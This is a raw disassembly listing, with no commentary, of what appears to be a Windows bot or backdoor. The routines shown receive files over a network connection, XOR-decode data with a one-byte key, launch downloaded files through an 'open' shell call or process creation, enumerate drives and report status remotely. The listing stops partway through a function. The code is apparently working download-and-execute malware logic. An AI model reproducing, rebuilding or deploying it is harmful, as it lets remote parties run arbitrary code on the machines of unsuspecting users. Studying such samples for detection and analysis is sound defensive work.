loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_4374DC

loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------

loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB00C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h

loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax

loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2780000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2710000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFC4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAF8C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]

loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		call	near ptr 26708E6h
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374B0
		push	eax
		call	sub_41B886

loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h

loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h

loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB00C

loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h

loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_437498
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2710A4Eh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 26708E6h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_4375E4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375C4

loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------

loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h

loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAF70
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_437498
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26F0000h

loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437598
		push	eax
		call	sub_41B886
		add	esp, 14h

loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h

loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx

loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB00C

loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAE78
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 2710A4Eh
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4377E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 26A0D63h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAE80
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx

loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2700000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]

loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3

loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377B8
		jmp	short loc_416593
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437790

loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCB0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA

loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437764
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		call	near ptr 26A0D63h
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26708E6h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43773C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437704
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAEE0
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4376E8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------

loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376A4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D128
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2670C39h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAECC
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437670
		jmp	short loc_416891
; ---------------------------------------------------------------------------

loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437644

loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFA8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907

loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BA8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi

loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------

loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFD4
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437834
		retn
; ---------------------------------------------------------------------------

loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437830
		retn
; ---------------------------------------------------------------------------

loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE64
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------

loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437884
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437848
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h

loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------

loc_416C49:				; CODE XREF: sub_416C28+9j
